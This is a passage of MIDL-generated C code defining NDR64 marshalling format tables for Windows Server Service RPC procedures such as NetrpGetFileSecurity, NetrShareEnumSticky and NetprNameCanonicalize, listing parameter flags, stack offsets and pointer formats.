*/      /* parameter lpFileName */\n        &__midl_frag813,\n        { \n        /* lpFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* SecurityInformation */      /* parameter SecurityInformation */\n        &__midl_frag928,\n        { \n        /* SecurityInformation */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* SecurityDescriptor */      /* parameter SecurityDescriptor */\n        &__midl_frag740,\n        { \n        /* SecurityDescriptor */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag928,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag744_t __midl_frag744 =\n{ \n/*  */\n    { \n    /* *char */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag741\n    }\n};\n\nstatic const __midl_frag743_t __midl_frag743 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag741_t __midl_frag741 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag785\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag743\n    }\n};\n\nstatic const __midl_frag740_t __midl_frag740 =\n{ \n/* _ADT_SECURITY_DESCRIPTOR */\n    { \n    /* _ADT_SECURITY_DESCRIPTOR */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _ADT_SECURITY_DESCRIPTOR */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag744,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag739_t __midl_frag739 =\n{ \n/* *_ADT_SECURITY_DESCRIPTOR */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag740\n};\n\nstatic const __midl_frag738_t __midl_frag738 =\n{ \n/* **_ADT_SECURITY_DESCRIPTOR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 20 /* 0x14 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag739\n};\n\nstatic const __midl_frag737_t __midl_frag737 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag736_t __midl_frag736 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag735_t __midl_frag735 =\n{ \n/* *WCHAR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag736\n};\n\nstatic const __midl_frag733_t __midl_frag733 =\n{ \n/* *WCHAR */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag736\n};\n\nstatic const __midl_frag730_t __midl_frag730 =\n{ \n/* NetrpGetFileSecurity */\n    { \n    /* NetrpGetFileSecurity */      /* procedure NetrpGetFileSecurity */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ShareName */      /* parameter ShareName */\n        &__midl_frag733,\n        { \n        /* ShareName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* lpFileName */      /* parameter lpFileName */\n        &__midl_frag736,\n        { \n        /* lpFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* RequestedInformation */      /* parameter RequestedInformation */\n        &__midl_frag737,\n        { \n        /* RequestedInformation */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* SecurityDescriptor */      /* parameter SecurityDescriptor */\n        &__midl_frag738,\n        { \n        /* SecurityDescriptor */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* MustSize, MustFree, [out], UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag928,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag728_t __midl_frag728 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 225 /* 0xe1 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag727_t __midl_frag727 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag728\n};\n\nstatic const __midl_frag726_t __midl_frag726 =\n{ \n/* NetrShareDelCommit */\n    { \n    /* NetrShareDelCommit */      /* procedure NetrShareDelCommit */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 224 /* 0xe0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ContextHandle */      /* parameter ContextHandle */\n        &__midl_frag728,\n        { \n        /* ContextHandle */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag724_t __midl_frag724 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag723_t __midl_frag723 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag724\n};\n\nstatic const __midl_frag717_t __midl_frag717 =\n{ \n/* NetrShareDelStart */\n    { \n    /* NetrShareDelStart */      /* procedure NetrShareDelStart */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag809,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* NetName */      /* parameter NetName */\n        &__midl_frag813,\n        { \n        /* NetName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Reserved */      /* parameter Reserved */\n        &__midl_frag928,\n        { \n        /* Reserved */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ContextHandle */      /* parameter ContextHandle */\n        &__midl_frag724,\n        { \n        /* ContextHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag714_t __midl_frag714 =\n{ \n/* *DWORD */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag928\n};\n\nstatic const __midl_frag710_t __midl_frag710 =\n{ \n/* *_SHARE_ENUM_STRUCT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag235\n};\n\nstatic const __midl_frag707_t __midl_frag707 =\n{ \n/* NetrShareEnumSticky */\n    { \n    /* NetrShareEnumSticky */      /* procedure NetrShareEnumSticky */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag235,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* PreferedMaximumLength */      /* parameter PreferedMaximumLength */\n        &__midl_frag928,\n        { \n        /* PreferedMaximumLength */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* TotalEntries */      /* parameter TotalEntries */\n        &__midl_frag928,\n        { \n        /* TotalEntries */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ResumeHandle */      /* parameter ResumeHandle */\n        &__midl_frag714,\n        { \n        /* ResumeHandle */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag928,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag697_t __midl_frag697 =\n{ \n/* NetprNameCompare */\n    { \n    /* NetprNameCompare */      /* procedure NetprNameCompare */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Name1 */      /* parameter Name1 */\n        &__midl_frag913,\n        { \n        /* Name1 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Name2 */      /* parameter Name2 */\n        &__midl_frag913,\n        { \n        /* Name2 */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NameType */      /* parameter NameType */\n        &__midl_frag928,\n        { \n        /* NameType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag928,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* long */      /* parameter long */\n        &__midl_frag928,\n        { \n        /* long */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag693_t __midl_frag693 =\n{ \n/* DWORD */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 64000 /* 0xfa00 */\n};\n\nstatic const __midl_frag691_t __midl_frag691 =\n{ \n/*  */\n    (NDR64_UINT32) 4 /* 0x4 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 64000 /* 0xfa00 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag690_t __midl_frag690 =\n{ \n/* *WCHAR */\n    { \n    /* *WCHAR */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *WCHAR */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag691\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag819\n    }\n};\n\nstatic const __midl_frag689_t __midl_frag689 =\n{ \n/* *WCHAR */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag690\n};\n\nstatic const __midl_frag684_t __midl_frag684 =\n{ \n/* NetprNameCanonicalize */\n    { \n    /* NetprNameCanonicalize */      /* procedure NetprNameCanonicalize */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag912,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag913,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* Outbuf */      /* parameter Outbuf */\n        &__midl_frag690,\n        { \n        /* Outbuf */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* OutbufLen */      /* parameter OutbufLen */\n        &__midl_frag693,\n        { \n        /* OutbufLen */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NameType */      /* parameter NameType */\n        &__midl_frag928,\n        { \n  